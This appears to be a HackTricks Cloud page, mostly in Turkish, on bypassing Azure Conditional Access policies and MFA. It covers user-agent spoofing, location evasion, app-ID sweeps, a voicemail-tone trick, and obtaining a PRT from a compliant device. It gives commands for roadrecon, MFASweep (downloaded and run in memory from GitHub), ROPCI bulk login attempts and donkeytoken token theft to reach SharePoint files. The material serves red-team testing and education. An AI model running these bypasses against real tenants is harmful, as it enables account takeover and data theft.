Az - Conditional Access Policies & MFA Bypass
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain koşullar. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\ Conditional access policies basically tanımlar Kim’in Ne’ye Nereden ve Nasıl erişebileceğini.
İşte birkaç örnek:
- Sign-In Risk Policy: Bu politika, oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının giriş davranışı düzenli desenine kıyasla alışılmadıksa, farklı bir ülkeden giriş yapmak gibi, sistem ek kimlik doğrulaması isteyebilir.
- Device Compliance Policy: Bu politika, kuruluşun güvenlik standartlarına uygun cihazlarla sınırlı olacak şekilde Azure services erişimini kısıtlayabilir. Örneğin, erişim yalnızca güncel antivirüs yazılımına sahip cihazlardan veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan sağlanabilir.
Keşif
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Koşullu Erişim Politikalarının Atlatılması
Bir conditional access policy’nin kolayca değiştirilebilecek bazı bilgileri kontrol ediyor olması ve bunun politikanın atlanmasına izin vermesi mümkündür. Örneğin politika MFA yapılandırıyorsa, saldırgan bunu atlayabilecektir.
Bir conditional access policy yapılandırılırken etkilenen kullanıcıları ve hedef kaynakları (ör. all cloud apps) belirtmek gerekir.
Ayrıca politikayı tetikleyecek koşulların yapılandırılması gerekir:
- Network: Ip, IP ranges ve coğrafi konumlar
- Bir VPN veya Proxy kullanarak izin verilen bir ülkeye bağlanmak ya da izin verilen bir IP adresinden giriş yapmayı başararak atlanabilir
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device veya Android, iOS, Windows phone, Windows, macOS, Linux seçeneklerini seçme
- Eğer “Any device” seçili değil ama diğer tüm seçenekler seçiliyse, bu platformlarla ilişkisi olmayan rasgele bir user-agent kullanarak atlamak mümkün
- Client apps: Seçenekler “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” ve “Other clients”
- Seçili olmayan bir seçenekle giriş yaparak atlatma
- Filter for devices: Kullanılan cihaza ilişkin bir kural üretmek mümkün
- Authentication flows: Seçenekler “Device code flow” ve “Authentication transfer”
- Bu, saldırganı etkilemez; ancak eğer saldırgan bu protokollerden herhangi birini phishing amaçlı kötüye kullanmaya çalışıyorsa fark yaratabilir
Olası sonuçlar: Block veya Grant access, örn. MFA gerektirme, cihazın compliant olması gibi ek koşullarla…
Device Platforms - Device Condition
Bir koşul device platform (Android, iOS, Windows, macOS…) bazında ayarlanabilir, ancak bu user-agent tabanlı olduğu için kolayca atlanabilir. Tüm seçenekleri MFA zorunlu kılacak şekilde yapılandırmak bile işe yaramaz; tanınmayan bir user-agent kullanırsanız MFA veya block tetiklenmeyecektir:
.png)
Sadece tarayıcının bilinmeyen bir user-agent göndermesi (ör. Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) bu koşulu tetiklememek için yeterlidir.
User agent’i developer tools içinde manuel olarak değiştirebilirsiniz:
.png)
Ya da browser extension like this one kullanabilirsiniz.
Locations: Countries, IP ranges - Device Condition
Eğer bu conditional policy içinde ayarlıysa, saldırgan izin verilen ülkedeki bir VPN kullanarak ya da izin verilen bir IP address üzerinden erişim sağlayarak bu koşulları atlayabilir.
Cloud Apps
Bir conditional access policy, bir kullanıcı belirli bir app’a erişmeye çalıştığında örneğin MFA’yı block veya zorunlu kılacak şekilde yapılandırılabilir:
.png)
Bu korumayı atlatmayı denemek için, herhangi bir uygulamaya giriş yapıp yapamayacağınıza bakmalısınız.
Araç AzureAppsSweep onlarca application ID’yi hardcoded içerir ve bunlara giriş denemesi yapar; başarılı olursa size bildirir ve token’ı bile verir.
Belirli kaynaklardaki belirli application ID’lerini test etmek için ayrıca şu tür bir araç da kullanılabilir:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Ayrıca, giriş yöntemini (ör. tarayıcıdan veya masaüstü uygulamasından giriş yapmaya çalışıyorsanız) korumak da mümkündür. Araç Invoke-MFASweep bu korumaları aşmaya çalışmak için bazı kontroller de gerçekleştirir.
Araç donkeytoken benzer amaçlar için de kullanılabilir, ancak bakımı yapılmıyor gibi görünmektedir.
Araç ROPCI bu korumaları test etmek ve MFA’ları veya engellemeleri aşmanın mümkün olup olmadığını görmek için de kullanılabilir, ancak bu araç whitebox perspektifinden çalışır. Önce tenant’ta izin verilen uygulamaların listesini indirmeniz gerekir, sonra bu uygulamalara giriş yapmayı deneyecektir.
Diğer Az MFA Bypasses
Zil tonu
Bir Azure MFA seçeneği, kullanıcının belirlenen telefon numarasına çağrı alması ve çağrı sırasında kullanıcıdan # karakterini göndermesi istenmesidir.
Caution
Karakterler sadece tonlar olduğundan, bir saldırgan telefon numarasının sesli mesaj içeriğini ele geçirebilir, mesaj olarak
#tonunu ayarlayabilir ve MFA isteğinde bulunduğunda hedefin telefonu meşgul (aramak) olduğundan emin olarak Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir.
Uyumlu Cihazlar
Politikalar genellikle uyumlu bir cihaz veya MFA ister, bu yüzden bir saldırgan uyumlu bir cihaz kaydedebilir, PRT alabilir ve böylece MFA’yı atlayabilir.
Önce Intune’da bir uyumlu cihaz kaydederek başlayın, sonra PRT’yi alın şu komutla:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Find more information about this kind of attack in the following page:
Az - Primary Refresh Token (PRT)
Tooling
AzureAppsSweep
This script get some user credentials and check if it can login in some applications.
Bu script bazı kullanıcı kimlik bilgilerini alır ve bazı uygulamalara giriş yapıp yapamadığını kontrol eder.
This is useful to see if you aren’t required MFA to login in some applications that you might later abuse to escalate pvivileges.
Bu, daha sonra kötüye kullanabileceğiniz bazı uygulamalara giriş için MFA gerekmiyor olup olmadığını görmenize yardımcı olur; böylece escalate pvivileges için fırsat olup olmadığını belirleyebilirsiniz.
roadrecon
Get all the policies
Tüm politikaları alır.
roadrecon plugin policies
Invoke-MFASweep
MFASweep, sağlanan kimlik bilgileriyle çeşitli Microsoft hizmetlerine giriş yapmayı deneyen ve MFA’nın etkin olup olmadığını tespit etmeye çalışacak bir PowerShell scriptidir. Koşullu erişim politikalarının ve diğer çok faktörlü kimlik doğrulama ayarlarının nasıl yapılandırıldığına bağlı olarak bazı protokoller tek faktörlü kalabilir. Ayrıca ADFS yapılandırmaları için ek bir kontrol içerir ve tespit edilirse on-prem ADFS sunucusuna giriş yapmayı deneyebilir.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Bu araç, birden fazla üretim AAD kiracısında MFA bypass’larını tespit etmeye ve ardından APIs’leri istismar etmeye yardımcı oldu; AAD müşterileri MFA’nın zorunlu olduğunu düşündükleri durumlarda ROPC tabanlı kimlik doğrulaması başarılı oldu.
Tip
Brute-force yapılacak uygulama listesini oluşturabilmek için tüm uygulamaları listeleme izinlerine sahip olmanız gerekir.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token, Conditional Access Policies’ı doğrulaması gereken güvenlik danışmanlarına ve 2FA etkin Microsoft portalları için testler vb. konularda yardımcı olmayı amaçlayan bir fonksiyon setidir..
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Her portalı test edin eğer MFA olmadan oturum açılabiliyorsa:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Çünkü Azure portal not constrained olduğundan, önceki yürütme tarafından tespit edilen herhangi bir servise erişmek için gather a token from the portal endpoint to access any service detected mümkündür. Bu durumda Sharepoint tespit edildi ve ona erişmek için bir token istendi:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Varsayalım token’ın Sites.Read.All (Sharepoint’ten) izni var; Sharepoint’e web’den MFA nedeniyle erişemiyor olsanız bile, oluşturulan token’ı kullanarak dosyalara erişmek mümkündür:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

